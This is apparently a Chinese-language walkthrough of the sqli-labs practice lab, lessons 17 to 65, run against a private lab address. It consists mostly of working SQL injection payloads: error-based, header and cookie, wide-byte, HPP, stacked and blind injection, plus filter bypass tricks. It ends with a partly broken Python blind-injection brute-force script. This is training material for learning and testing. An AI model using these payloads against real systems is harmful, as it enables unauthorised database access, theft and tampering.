updatexml用法 : updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)
测试发现注入点在password处 uname 过滤了很多,所以从password处出发
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
之后只要在@@version 处添加合适的查询语句就可以构成注入
为何host头存在注入,这个也比较少见,但是知道只要和数据库有交互就有可能存在注入
插入了ua头,所以可以从这里下手
可以看到uname和passwd都进行了过滤,这里有个注意点,在平常的渗透中,当输入点没有注入,可以想想是否在其他地方有注入,程序员对于普通用户的输入点过滤严格,但是其他地方却没有进行过滤,导致了注入的发生,也是需要我们多多注意
这里考察 host头部注入,一般相对于参数比较难以查找,也不容易判断,一般判断的方式是通过模糊测试去尝试,或者在可能出现注入的地方添加* 通过sqlmap去测试。
而且要善于去发现页面返回的信息,也许这都是与数据库有交互的点。
这道题返回的信息有host和ua ,那么我们可以通过给这两个地方加* 放进sqlmap去测试,或者加点查看是否出现报错
通过测试发现在ua处加'返回了错误提示,那么我们就尝试从这里拿下
' and '1='1 # 闭合 所以接下来就是在这里通过查询语句获取flag了
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息
如何查询呢,需要使用到burp 抓包 ,挂上代理,burp抓包发送到 repeater去查看
看一下源码,对于referer插入了sql语句,并且没有进行过滤,这就导致了注入
与上题类似,通过返回值判断注入,猜想可能发生在referer处
测试语句与less-18类似
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息
发现闭合 成功注入
这里可以看到对于cookie没有进行过滤,并且第二次会拿出cookie调用sql语句,这里就达成了注入的条件。
登录成功之后会设置里面的cookie 当二次刷新的时候 这时候会重新从里面取值弄,并且这次取值没有经过过滤 直接就是注入点 还是使用updatexml的函数进行报错
Cookie: uname=admin1 ' or updatexml(0,concat(0x5e24,user(),0x5e24)
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
成功绕过,注入成功
从21开始就添加了比较复杂的过滤,让我们拭目以待。
可以看到 cookie没有进行检测过滤,base编码后就进行了查询
使用sqlmap 注入 ,一定要记得添加编码方式,不然检测不出来
这一题和上一题类似,只是对cookie进行了base64编码,使用sqlmap的 tamper可以绕过
手工测试和20题一样,将20题的payload进行base64编码即可
但是发现#编码后执行失败,换用'1'='1闭合语句
admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICcxJz0nMQ==
查看源码,和21只有这一个区别。
这里闭合需要"去闭合,将单引号换成双引号 成功绕过
admin" and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and "1"="1
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICIxIj0iMQo%3d
分析源码
对id进行了两次过滤,#和–+被过滤,
这里可以通过 or ‘1’=‘1 来代替注释符,另一种做法是通过union联合查询,添加到语句中间,然后闭合后面的单引号就可以正常的查询了
通过union 查询,在3处闭合 将查询语句写入
-1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),'3
另一个方式
-1' union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1
拿到这道题,可能和之前的有些许区别,主要这道题注入点不在前端,而是因为数据在二次调用的时候没有过滤,导致了用户通过构造payload绕过去修改其他用户的密码
查看源码,可以看到对于username没有过滤,直接引用了,导致构造的用户修改密码时修改其他用户的密码,并且不需要curr_pass
构造payload admin'# 即可闭合sql语句 使得password=$curr_pass不起作用
首先创建用户 admin'# 登录此用户,之后修改密码,修改后尝试登录admin用户,发现登录成功。
看看源码,函数对于id进行了替换,or和and ,基本可以使得大多注入语句失效
尝试输入注入语句,发现当输入or 或者 and的时候被过滤,可能是黑名单绕过
Hint: Your Input is Filtered with following result: 1 1=1
尝试双写 发现绕过过滤,
-1' anandd updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
将and和or 换成 && 和 || 同样可以绕过
这道题还有个25a 过滤了or和and的盲注
我们可以直接这样注入
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23
查看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
空格和注释无法使用
绕过空格的几种
%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格
用%A0替代空格使用,用&&(%26%26)替代AND使用
构造payload: 0'%A0UNION%A0SELECT%A01,version(),database()%26%26%a0'1
这道题还可以使用盲注实现
0'||left(database(),1)='s'%26%26'1'='1
同样报错注入也可以实现
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
只要将空格和and绕过 那么实现就简单了
or和and 很好过滤,注释过滤了就使用永真闭合,
和上一题区别不大
通过检测 0'||'1'='1 判断是'
也可以通过fuzz去查看 发现 ') ") 无报错
使用盲注ok
0'||left(database(),1)>'s'%26%26'1'='1
尝试绕过,这两个都可以绕过
0')%a0union%a0select%a01,2,3||('1
0')%a0union%a0select%a01,2,3;%00
虽然这道题说是盲注,但是通过闭合 也可以直接爆出结果。
做了这么多了,下来就不说如何拿到数据了,重点在于如何绕过,只要能够找到注入点,剩下的可以利用sqlmap 等等工具直接利用,毕竟在渗透中,没有那么多的时间让我们去消耗
过滤了union和select
绕过方式:双写 大小写
0'%0aUnioN%0aSeleCT%0a1,2,3;%00
0'%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0'1
这里说明一下,冒号可以做闭合用, %00用来截断 这样和注释有相同的含义,这下绕过就多了:注释,分号闭合,冒号%00截断
看一下源码 ,过滤了常见的几个语句,但是黑名单很好绕的,毕竟没有谁能将所有的都加入其中,这样会影响正常的工作
和上一题一样,但是把单引号换成了双引号
替换上一题的payload即可绕过
0"%0aUNion%0aseLEct%0a1,2,3%26%26%0a"1
0"%0aUNion%0aseLEct%0a1,2,3;%00
0')%A0UnIoN%A0SeLeCt(1),version(),3%26%26%a0('1
使用盲注也可以达到注入的目录
0')||left(database(),1)='s';%00
但是出现注入的原因是大小写不严格导致 ,mysql语句中,对大小写不敏感,所以单独的过滤某个函数是没有用的, 必须转成小写在判断。这样就可以把大小写给过滤了。
看看源码,过滤不严格,导致了注释可以使用
类似于28 这里可以使用注释
0')%A0UnIoN%A0SeLeCt(1),version(),database() --+
第一个文件是错误输出显示了
第三个是个login.php
简单说一下这道题的原理
这里的waf指的是jsp服务器,这里起到防火墙的作用,数据会经过jsp服务器过滤之后传入php服务器中,php服务器之后将数据返回到jsp服务器,打印到客户端。
这里我们可以传两个参数 id=1&id=2 ,判断是谁获取了第一个值,谁又拿到了第二个值
此处应该是id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁
payload:0' union all sElect 1,database(),3 --+
首先传入两个参数 id=1 &id=0’ 第二个参数被服务器拿到了,处理然后返回了结果,所以这次注入需要两个参数
http://192.168.64.135/Less-29/?id=1&id=0%27%20union%20all%20sElect%201,database(),3%20–+
通过对第二个参数进行注入 成功获取数据
测试发现" 报错
0" union select 1,2,database() --+
测试发现上面的同样可以过waf
id=1&id=0" union select 1,2,database() --+
判断发现可以通过") --+ 闭合
id=1&id=0") union select 1,2,database() --+
注释发现 系统会给特殊字符添加转义\
那么我们是否可以编码绕过,发现编码不行
尝试转换成16进制也不ok
百度一下,得到了这道题的做法:宽字节注入,由于数据库编码与前端编码不一致导致存在注入
汉字是由两个字节编码的,由于gbk和utf-8编码不一致导致报错,为了构成报错,我们需要添加一个大于128的编码
0%df' union select 1,database(),3 --+
成功绕过
这里主要是如何绕过addslashes()这个函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
这里和32 差别不大 一个是自定义添加,另一个是使用函数添加
0%df' union select 1,database(),3 --+
和上一关差别不大,使用post请求
一样的宽字节注入,并且在uname和passwd处都存在注入
uname=0%df' union select 1,database() --+&passwd=0&submit=Submit
这里输入的整数 直接--+ 就可以绕过了
0 union select 1,database(),3 --+
先来看看这个函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
而这个函数可以通过以下语句绕过
aaa' OR 1=1 --
0%df' union select 1,2,database() --+
到了后面,主要讲思路,语句基本都会了
这里是post方式,我们抓包 添加语句到uname或者passwd中,同样是添加'%df报错,查询 --+做注释
uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit
成功绕过
可以直接正常注入
主要看下这个函数
mysqli_more_results() 检查一个多重查询语句中是否有更多结果
也叫堆叠注入
简单来说 就是通过将多条语句通过;隔开写在一起构成多语句,由于未对参数进行处理导致多条语句正常执行
堆叠查询受限于api或者数据库引擎不支持的限制,权限不足也会限制语句执行
1';insert into users(id,username,password) values ('16','a','a')--
语句都一样,重点是找到闭合的方式
1;insert into users(id,username,password) values (16,'a','a')--
1'); insert into users(id,username,password) values ('17','a','a')--+
1; insert into users(id,username,password) values(18,'b','b') --+
经过验证,在password处语句报错,所以我们需要从passowrd入手
0';create table aaa like users #
和 42 类似 同样password 未过滤
login_user=1&login_password=a');create table less43 like users#&mysubmit=Login
login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login
login_user=a&login_password=a'); insert into users(id,username,password) values(20,''c','c') --+&mysubmit=Login
终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询 发现当输入4的时候报错,而报错提示与order by 提示相同,猜想可能是将输入的值插入order by里进行的
通过updatexml 报错注入
sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
和46有少许区别,做到这里基本套路应该都懂了,从不需要单引号,双引号之类的报错,到盲注,难度都是一步一步深入
sort=4' and (select count(*) from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2))) --+
注意 and后面的语句要使用()括起来
基于 procedure analyse 注入
sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
这一题 需要使用盲注解决
通过substr获取所要查询的信息的位数
然后使用ascii去解析成ascii编码
之后通过if判断是否相等 去获取值
之后构成 if(ascii(substr(datbase(),1,1)))
或者使用rand(ascii(left(database,1))=115) 同样获取相同的效果
同样是盲注,和48类似
这一题使用延时盲注解决
获取长度
1 and if(length(database())=8,sleep(5),0)--+
获取值
1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+
检测 返回只有正确或者错误,属于盲注
通过报错注入 也能获取
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
测试发现均没有显错 只能盲注了
1 and if(length(database())=8,sleep(5),0) --+
通过测试发现回显只有正确和错误,所以这道题做法基本就是盲注了,
4' and if(length(database()) = 8 ,0,sleep(6)) --+
1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) and '1'='1
又要进入一个新的过渡了
挑战 ,允许查询10次,先不急去查看,观察一下需要输入的内容
所以,我们只有10次机会,
一般获取一个表正常需要获取数据库,到表,到列,再到数据,所以最少需要4步,而这里我们需要用6步猜测出来注入
回忆一下前面的注入, get类型的包含但不限于单引号,双引号,bool,堆叠,延时,报错,字符型和数字型,双注。
第一道题 采用最简单的'注入
http://192.168.64.135/Less-54/?id=1%27%20order%20by%203%20%23 // True
http://192.168.64.135/Less-54/?id=1%27%20order%20by%204%20%23 // false
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,database()%20%23 // True challenges
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23 // True 8T3YRE3TXR
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%278T3YRE3TXR%27%20%23// true secret_4XCQ
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(secret_4XCQ)%20from%208T3YRE3TXR%20%23 // True aefBbyoeStF7Edc3FZa4G5C4
线索: 告诉了测试次数14次, union测试 数据库challenges
第一次挑战 失败
' " ') ") 均没有回显 初次猜测报错注入或者双注
第二次尝试
) 闭合
获取表
=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' %23 // True UBU4QNRHHP
获取列
id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='UBU4QNRHHP' %23 //true
// secret_6H3B
获取key
0) union select 1,2,group_concat(secret_6H3B) from UBU4QNRHHP %23
mLjAsOZnSEbQqIMybw1AnUYH
这次老老实实绕过
id=1' %23 // False
id=1" %23 // True 但是注入 union报错
添加为
id=1' union select 1,2,3 %23 // False
id=1" union select 1,2,3 %23 //False
id=1') union select 1,2,3 %23
获取表
0%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
KOUNR4QC6G
获取列
0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='KOUNR4QC6G'%23
secret_3EVD
获取key
0') union select 1,2,group_concat(secret_3EVD) from KOUNR4QC6G %23
KcU87wBerjRPTHsvWBL6Zpx1
做法 和之前一样
0" union select 1,2,3 %23
通过改变0之后的值达到闭合的目的
获取表
0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
VAFBXAV18O
获取列
0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='VAFBXAV18O'%23
secret_G8PM
获取key
0" union select 1,2,group_concat(secret_G8PM) from VAFBXAV18O %23
dRwHUUQ2TXSGUZ556g7FikFJ
这道题 不看题目可能需要测好久
这次使用双注来报错查询
http://192.168.64.135/Less-58/?id=1%27and%20%271%27=%271 // True 绕过
获取表
1'and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
5H512U9U27
获取列
1'and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='5H512U9U27' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DD13
获取key
1'and (select count(*) from information_schema.tables group by concat('~',(select secret_BJYY from 9JMRBSMHB3 limit 0,1),'~',floor(rand(0)*2))) %23
fJw5d5MfwbirBtiV6ajyMVYL
先测试类型
有报错,可以注入
这次不需要过滤
获取表
1 and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
N6JFY84247
获取列
1 and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='N6JFY84247' limit 2,1),'~',floor(rand(0)*2))) %23
secret_FWQ3
获取key
1 and (select count(*) from information_schema.tables group by concat('~',(select secret_FWQ3 from N6JFY84247 limit 0,1),'~',floor(rand(0)*2))) %23
VlWMK389WVuIephCe46vDls5
测试 单引号 双引号 ) ') ") 发现") 闭合 绕过
获取表
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
5H36JXB2F0
获取 列
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%275H36JXB2F0%27%20limit%202,1),%27~%27,floor(rand(0)*2)))%20%23
secret_NFL6
获取key
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20secret_NFL6%20from%205H36JXB2F0%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
49DYkkaArpuMaYb5ITI6NYlP
通过1' 判断闭合
获取表
1%
27))%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
EKP9EVPEDH
获取列
1')) and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database()%20 and table_name='EKP9EVPEDH' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DI64
获取key
1')) and (select count(*) from information_schema.tables group by concat('~',(select secret_DI64 from EKP9EVPEDH ),'~',floor(rand(0)*2))) %23
8r5XPen1KywllEINiQfAQnlq
这里面还有盲注,坑啊, 这里就只测试注入点
剩下的大家自己完成,这里发现sqlmap测试,不会导致页面重置,超过130次还可以执行
获取注入点1') %23
这里尝试写脚本试试
先写个爆破数据库的
## 这里通过 ') %23 可构成闭合
from urllib import request
from urllib import parse
import re
url ='http://192.168.64.135/Less-62/?id='
# length
num = 0
for i in range(1,20):
num +=1
param = '1 \') and (length(database())='+str(i)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
if (re.search("Angelina",response)):
print("length:" + str(i))
break
database = ""
for i in range(10):
a = b =64
while True:
num +=1
b = int(b/2)
param = '1 \') and (ascii(substr(database(),'+str(i+1)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
#print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr(database(),' + str(i+1) + ',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
#print(url + parse.quote(param))
if (re.search("Angelina", response)):
database +=chr(a)
break
else:
a +=b
print(database)
之后爆破表 这一题写个完整的,之后就简略的写出注入点,
爆破表,拿上面的修修改改
通过检查,先确定表的长度,再去爆破
爆破前记得重置,因为130次比较少
# 查表的数量
table_num = 0
while True:
param = "1 ') and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina",response)):
print("table_num:"+str(table_num))
break
else:
table_num += 1
print(table_num)
# # 确定表的长度
table_length = 0
while True:
param = '1 \') and length(substr((select table_name from information_schema.tables where table_schema=database()),1))='+str(table_length)+' #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
print("table_num:" + str(table_length))
break
else:
table_length += 1
# 获取表名
table_name=""
for i in range(1,11):
a=b=64
while True:
b= int(b/2)
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url + parse.quote(param))
if (re.search("Angelina", response)):
table_name +=chr(a)
break
else:
a +=b
print(table_name)
J8CLO25SRR
最后查列,这里发现写的脚本比较费时,所以稍微修改一下
column_name =""
for i in range(7,11):
a=b=64
while True:
b= int(b/2)
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url + parse.quote(param))
if (re.search("Angelina", response)):
column_name +=chr(a)
break
else:
a +=b
#HKIR
print(column_name)
column_name = "secret_"+column_name
# 查 key
for i in range(1,25):
a=b=64
while True:
b= int(b/2)
param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+'),'+str(i)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+')),'+str(i)+',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url + parse.quote(param))
if (re.search("Angelina", response)):
key +=chr(a)
break
else:
a +=b
# 这里脚本不满足复杂度,不能在130以内弄出来,作为参考,等我去翻翻算法,在回来改
和上一题类似
这里就判断注入类型,和如何闭合
1' order by 4 %23
通过判断 发现3 返回正常 4 错误
所以之后的做法就和62 一样
测试了 ' " ) )) ') ") ')) "))
1)) order by 3 %23 闭合
和上一题一样,通过测试闭合
发现 ") 绕过 闭合
这里还有一种做法,将需要绕过的写入txt文件,之后通过burp去爆破,通过判断返回值也可以达到相同的效果